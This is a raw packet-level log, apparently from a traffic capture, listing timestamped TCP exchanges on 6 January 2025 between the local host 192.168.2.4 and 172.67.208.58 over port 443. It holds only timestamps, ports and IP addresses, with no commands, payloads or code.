Jan 6, 2025 15:47:45.887815952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.888147116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.888170958 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.888252974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.888252974 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.888272047 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.888284922 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.888287067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.888302088 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.888326883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.888431072 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.888446093 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.888490915 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.888506889 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.888673067 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.888689995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.888720036 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.888725996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.888753891 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.889067888 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.889082909 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.889139891 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.889148951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.889364958 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.889383078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.889416933 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.889421940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.889436960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.889533043 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.889545918 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.889605999 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.889612913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.890986919 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.943489075 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.974562883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.974587917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.974673033 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.974684000 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.974745035 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.974816084 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.974831104 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.974869967 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.974875927 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.974960089 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.975133896 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.975148916 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.975200891 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.975205898 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.975464106 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.975481987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.975517988 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.975523949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.975553036 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.975574017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.975800991 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.975816965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.975889921 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.975895882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.976193905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.976212025 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.976250887 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.976257086 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.976285934 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.976310015 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.976341009 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.976352930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.976396084 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.976401091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.976644993 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.976665974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.976721048 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.976727962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.978082895 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.978101969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.979499102 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.061328888 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.061347008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.061429024 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.061440945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.061471939 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.061585903 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.061624050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.061669111 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.061675072 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.061707020 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.061903954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.061918020 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.061974049 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.061983109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.062021017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.062211990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.062248945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.062264919 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.062269926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.062299013 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.062313080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.062511921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.062525988 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.062572002 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.062577963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.062614918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.062793970 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.062807083 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.062846899 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.062851906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.062882900 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.063066006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.063079119 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.063158035 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.063163996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.063215017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.063417912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.063431025 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.063473940 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.063478947 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.063512087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.064692020 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.148411036 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.148435116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.148518085 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.148546934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.148587942 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.148658991 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.148674965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.148714066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.148736000 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.148770094 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.148931980 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.148947001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.148988008 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.148993969 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.149048090 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.149225950 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.149241924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.149288893 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.149295092 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.149305105 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.149328947 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.149483919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.149497986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.149529934 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.149533987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.149563074 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.149576902 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.149775028 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.149797916 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.149837017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.149842024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.149879932 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.149879932 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.150116920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.150130033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.150193930 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.150198936 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.150240898 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.150305033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.150320053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.150377035 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.150383949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.150424957 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.151787996 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.235306978 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.235341072 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.235425949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.235446930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.235482931 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.235832930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.235847950 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.235903025 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.235908985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.235918999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.235938072 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.235948086 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.235955954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.235982895 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.236001968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.236130953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.236144066 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.236187935 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.236193895 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.236226082 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.236479044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.236498117 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.236537933 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.236543894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.236568928 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.236588955 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.236715078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.236726999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.236768007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.236773014 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.236804008 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.236932039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.236944914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.236984015 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.236989021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.237024069 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.237260103 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.237276077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.237329960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.237335920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.237376928 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.238852978 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.322212934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.322232008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.322310925 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.322328091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.322349072 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.322365999 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.322510004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.322525024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.322559118 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.322568893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.322588921 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.322619915 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.322829962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.322844028 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.322882891 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.322890043 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.322911978 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.322921991 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.323012114 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.323025942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.323052883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.323059082 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.323081970 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.323096991 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.323327065 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.323342085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.323390961 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.323400021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.323434114 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.323654890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.323668003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.323699951 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.323704958 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.323725939 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.323741913 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.323954105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.323968887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.324003935 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.324009895 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.324033022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.324040890 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.324170113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.324187040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.324244976 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.324251890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.324297905 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.325927973 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.412086010 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.412103891 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.412246943 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.412261009 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.412271976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.412291050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.412313938 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.412321091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.412353992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.412395954 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.412501097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.412514925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.412602901 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.412604094 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.412604094 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.412623882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.412662029 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.412746906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.412760973 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.412800074 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.412807941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.412842989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.413016081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.413031101 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.413058996 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.413064957 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.413089991 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.413100004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.413208961 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.413222075 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.413252115 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.413255930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.413280964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.413295984 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.413363934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.413378000 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.413408995 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.413420916 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.413434029 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.413450956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.413652897 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.413666010 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.413706064 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.413712978 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.413742065 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.415564060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.498157978 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.498182058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.498399019 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.498418093 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.498455048 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.498639107 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.498653889 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.498697042 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.498704910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.498738050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.499023914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499039888 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499079943 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.499087095 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499113083 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.499128103 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.499344110 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499358892 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499401093 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.499408007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499439955 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.499622107 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499635935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499664068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499669075 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.499675035 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499687910 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.499711990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.499914885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499928951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499959946 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.499965906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.499983072 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.500169039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.500189066 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.500214100 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.500221968 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.500248909 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.501928091 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.584677935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.584702015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.584769964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:46.584784031 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:46.584815025 CET	49746	443	192.168.2.4	172.67.208.58
